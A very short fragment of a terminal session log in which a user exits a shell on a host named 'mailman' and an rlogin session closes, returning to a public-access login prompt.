mailman% exit mailman% [#0: Public Access] 3:57p (?=help!) -> login Rlogin session 1 closed: EOF